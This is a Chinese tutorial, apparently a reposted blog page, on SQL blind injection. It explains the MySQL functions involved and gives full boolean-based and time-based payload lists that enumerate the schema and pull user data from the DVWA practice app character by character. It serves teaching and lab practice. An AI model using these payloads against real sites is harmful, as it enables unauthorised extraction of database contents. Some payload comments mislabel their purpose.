13、SQL注入——SQL盲注

news2025/1/23 10:32:57

文章目录

  • 一、SQL盲注概述
    • 1.1 盲注
    • 1.2 盲注常用的函数
  • 二、盲注payload
    • 2.1 布尔盲注
    • 2.2 时间盲注

一、SQL盲注概述

1.1 盲注

  • 在SQL注入过程中,SQL语句执行后,选择的数据不能回显到前端页面,此时还需要利用一些方法进行判断或尝试,这个过程称之为盲注。
  • 在盲注中,攻击者根据其返回页面的不同来判断信息(可能时页面内容的不同,也可能时响应时间的不同)。一般情况下,盲注可分为两种:
    • 基于布尔的盲注
      某些情况下,页面返回的结果只要两种(正常或者错误)。通过构造SQL判断语句,查看页面的返回结果(True 或False)来判断哪些SQL判断条件成立,通过此来获取数据库中的数据。
    • 基于时间的盲注
      又称延时注入,即使用具有延时功能的函数sleepbenchmark等,通过判断这些函数是否正常执行来判断数据库中的数据。

1.2 盲注常用的函数

  1. 条件语句
    在这里插入图片描述
    if()为例

    • 功能:条件判断
    • 语法格式:if(expr1, expr2, expr3): expr1为true则返回expr2,expr1为false则返回expr3。
    • 注:仅Mysql支持if(expr1, expr2, expr3)。
  2. left()

    • 功能:截取具有指定长度的字符串的左边部分。
    • 语法格式:left(str,length),如果str或length参数为NULL时,则返回NULL。
    • 参数说明
      • str:要提取字串的字符串;
      • length:正整数,指定将从左边返回的字符数。length为0或负,则left函数返回一个空字符串;length大于str字符串的长度,则left函数返回整个str字符串。

    在这里插入图片描述

  3. length()

    • 功能:返回字符串的长度,以字节为单位。
    • 语法格式:length(str)

    在这里插入图片描述

  4. substr()、substring()

    • 功能:从指定位置开始,截取字符串指定长度的字串。
    • 语法格式:substr(str, pos)substr(str, pos, len)substring(str, pos)substring(str, pos, len)
    • 参数说明:
      • str:要提取字串的字符串
      • pos:提取字串的开始位置
      • len:指定要提取的字串的长度

在这里插入图片描述
5. ascii()、ord()

  • 功能:返回字符串最左边字符的ASCII码值。
  • 语法格式:ascii(str),ord(str)

在这里插入图片描述
6. sleep()
- 功能:让语句延迟执行一段时间,执行成功后返回0.
- 语法格式:sleep(N),即延迟执行N秒。

  1. 延时函数benchmark()
    • 功能:让某语句执行一定的次数,执行成功后返回0。
    • 语法格式:benchmark(count,expr),即让expr执行count次。
    • 注:仅Mysql支持该函数。

在这里插入图片描述

二、盲注payload

2.1 布尔盲注

	id=1' # //报错,说明有注入点
	id=1 and 1=1 # //正确
	id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入
	
	id=1 and length(database())=1 # //判断数据库名长度
	id=1 and ascii(substr(database(),1,1))=98 # //猜数据库名
	id=1 and (select count(table_name) from information_schema.tables where table_schema=database())=1 # // 猜表的个数
	id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1))=103 # // 猜第一个表名的长度
	id=1 and (select+count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 # // 猜user表中的字段个数
	id=1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=7 # //猜user表中第一个字段的长度
	id=1 and ascii(substr((select column_name from+information_schema.columns where table_name='users' limit 0,1),1,1))=117 # //猜user表中第一个字段的第一个字母
	id=1 and length((select user from dvwa.users limit 0,1))=5 # // 猜user表中user字段内容的长度
	id=1 and ascii(substr((select user from dvwa.users limit 0,1),1,1))=97 # //猜user表中中user字段值的首字母

2.2 时间盲注

	id=1 and sleep(5) # //数字型则等待5秒
	id=1' and sleep(5) # //字符型则等待5秒
	id=1 and if(length(database())=4,sleep(5),1) # //猜数据库名长度
	id=1 and if(ascii((substr(database(),1,1)))=100,sleep(5),1) # //猜数据库名
	id=1 and if(select count(table_name) from information_schema.tables where table_schema=database(),sleep(5),1)=1 # // 猜表的个数
	id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1))=103,sleep(5),1) # // 猜第一个表名的长度
	id=1 and if((select+count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8,sleep(5),1) # // 猜user表中的字段个数
	id=1 and if(length((select column_name from information_schema.columns where table_name='users' limit 0,1))=7,sleep(5),1) # //猜user表中第一个字段的长度
	id=1 and if(ascii(substr((select column_name from+information_schema.columns where table_name='users' limit 0,1),1,1))=117,sleep(5),1) # //猜user表中第一个字段的第一个字母
	id=1 and if(length((select user from dvwa.users limit 0,1))=5,sleep(5),1) # // 猜user表中user字段内容的长度
	id=1 and if(ascii(substr((select user from dvwa.users limit 0,1),1,1))=97,sleep(5),1) # //猜user表中中user字段值的首字母

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1289880.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux常用指令详解

目录 前言: Linux的目录结构 Linux常用指令简介 whoami指令 ls指令 pwd指令 cd指令 tree指令 touch指令 mkdir指令 rmdir指令与rm指令 man指令 cp(copy)指令 mv(move)指令 cat指令 重定向及重定向的类型…

git常规操作流程(纯命令行操作)和一些注意事项

当你在单位拿到了git仓库,并利用公司给你的OA账号和邮箱完成了你的git基础配置,下面就是使用命令行的无错固定操作流程 如果你很着急,你可以直接跳到最后的总结部分 具体步骤 1.从仓库克隆代码到本地 这里的[codeUrl]就是你仓库的地址,当你在仓库点击图中绿色位置时,剪贴板…

深入了解UUID:生成、应用与优势

一、引言 在当今数字化时代,唯一标识一个对象的能力变得越来越重要。UUID(Universally Unique Identifier,通用唯一标识符)应运而生,作为一种保证全球唯一性的标识方法,广泛应用于各种场景。本文将详细介绍…

【头歌系统数据库实验】实验6 SQL的多表查询-2

目录 第1关:查询每个选手的信息及其提交的解答信息,没做题的选手不显示 第2关:查询做了1001题且耗时大于500(time)的选手信息 第3关:查询所有选手信息及其提交的解答信息,没做题的选手也要显…

计算机操作系统3

1.虚拟机 VM 两类虚拟机的对比: 2.进程 进程的特征: 进程状态的转换(五大状态) 3.进程控制原语的作用 4.线程 ​​​​​线程的属性 实现方式 5.调度算法的评价指标

2024年程序员面对经济下行的解决方式竟然是……

近些年大环境不好,经济下行的压力给到了我们每一个普通人的身上:降薪是潮流,裁员是趋势,找不到工作是常态。 在这样的环境下,我们曾一天三份工,只为家人温饱; 我们也曾一周七天连轴转&#xf…

GPU简介

1. GPU简介 GPU,即图形处理器(Graphics Processing Unit),是一种专门设计用于图形渲染和图像处理的处理器。与传统的中央处理器(CPU)相比,GPU具有更强大的并行处理能力。 显卡作为电脑主机里的…

Linux学习——模拟实现mybash小程序

目录 一,跟正宗的bash见个面 二,实现一个山寨的bash 1.提示符 2.输入命令与回显命令 3.解析命令 4.执行命令 5.执行逻辑 三,全部代码 一,跟正宗的bash见个面 在这篇文章中,我会写一个myshell小程序。这个小程序…

问卷调查须避免的错误要点(02):避免逻辑错误与提升数据质量

在上篇文章中,我们讲到了4点在打造客户满意度调查中常犯的4个错误:提问偏颇或模糊不清、提问过多开放性问题、合并不同问题、合并不同问题。而在今天这篇文章中,我们将继续探讨做问卷调查要避免的其他错误要点。如果您也有这方面的需求&#…

大话数据结构-查找-线性索引查找

注:本文同步发布于稀土掘金。 4 线性索引查找 4.1 概述 索引就是把一个关键字与它对应的记录相关联的过程,一个索引由若干个索引项构成,每个索引项至少应包含关键字和其对应的记录在存储器中的位置等信息。 索引按照结构可分为线性索引、树…

Python Opencv实践 - 简单的AR项目

这个简单的AR项目效果是,通过给定一张静态图片作为要视频中要替换的目标物品,当在视频中检测到图片中的物体时,通过单应矩阵做投影,将视频中的物体替换成一段视频播放。这个项目的所有素材来自自己的手机拍的视频。 静态图片&…

力扣每日一题:2646. 最小化旅行的价格总和(2023-12-06)

力扣每日一题 题目:2646. 最小化旅行的价格总和 日期:2023-12-06 用时:30 m 14 s 时间:8ms 内存:42.98MB 思路:先统计旅行中每个节点路过的次数(dfs方法),再计算减半后的…

智能优化算法应用:基于龙格-库塔算法无线传感器网络(WSN)覆盖优化 - 附代码

智能优化算法应用:基于龙格-库塔算法无线传感器网络(WSN)覆盖优化 - 附代码 文章目录 智能优化算法应用:基于龙格-库塔算法无线传感器网络(WSN)覆盖优化 - 附代码1.无线传感网络节点模型2.覆盖数学模型及分析3.龙格-库塔算法4.实验参数设定5.算法结果6.参…

一个最新国内可用的免费GPT4,Midjourney绘画网站+使用教程

一、前言 ChatGPT GPT4.0,Midjourney绘画,相信对大家应该不感到陌生吧?简单来说,GPT-4技术比之前的GPT-3.5相对来说更加智能,会根据用户的要求生成多种内容甚至也可以和用户进行创作交流。 然而,GPT-4对普…

内核无锁队列kfifo

文章目录 1、抛砖引玉2、内核无锁队列kfifo2.1 kfifo结构2.2 kfifo分配内存2.3 kfifo初始化2.4 kfifo释放2.5 kfifo入队列2.6 kfifo出队列2.7 kfifo的判空和判满2.8 关于内存屏障 1、抛砖引玉 昨天遇到这样一个问题,有多个生产者,多个消费者&#xff0c…

❀My学习Linux命令小记录(14)❀

目录 ❀My学习Linux命令小记录(14)❀ 56.man指令 57.whatis指令 58.info指令 59.--help指令 60.uname指令 ❀My学习Linux命令小记录(14)❀ 56.man指令 功能说明:查看Linux中的指令帮助。 (ps.man命…

一网打尽损失函数和正则化的关系,在损失函数中加入正则化有什么用,如何加入,这里为大家用通俗易懂的例子进行详细解释!(系列1)

文章目录 一、BP神经网络预测中,常见的损失函数是均方误差损失函数MSE二、L2正则化的公式如下:三、 结合MSE和L2正则化的总损失函数公式如下:总结 一、BP神经网络预测中,常见的损失函数是均方误差损失函数MSE 在BP神经网络预测中…

ArcGIS Enterprise on Kubernetes 11.1安装示例

博客主页:https://tomcat.blog.csdn.net 博主昵称:农民工老王 主要领域:Java、Linux、K8S 期待大家的关注💖点赞👍收藏⭐留言💬 目录 安装前置条件基本安装解压文件生成秘钥执行安装脚本 配置DNS方法一方法…

基于jsp+servlet+mybatis的简易在线选课系统

一.数据库 根据实训题目中给出的表间关系图、数据表结构设计、数据说明等等信息,可创建数据库如下: 1.数据库和表的创建 CREATE DATABASE xuanke; -- 创建用户表 CREATE TABLE USER (username VARCHAR(20) PRIMARY KEY NOT NULL,PASSWORD VARCHAR(20)…

【Python】Python读Excel文件生成xml文件

目录 ​前言 正文 1.Python基础学习 2.Python读取Excel表格 2.1安装xlrd模块 2.2使用介绍 2.2.1常用单元格中的数据类型 2.2.2 导入模块 2.2.3打开Excel文件读取数据 2.2.4常用函数 2.2.5代码测试 2.2.6 Python操作Excel官方网址 3.Python创建xml文件 3.1 xml语法…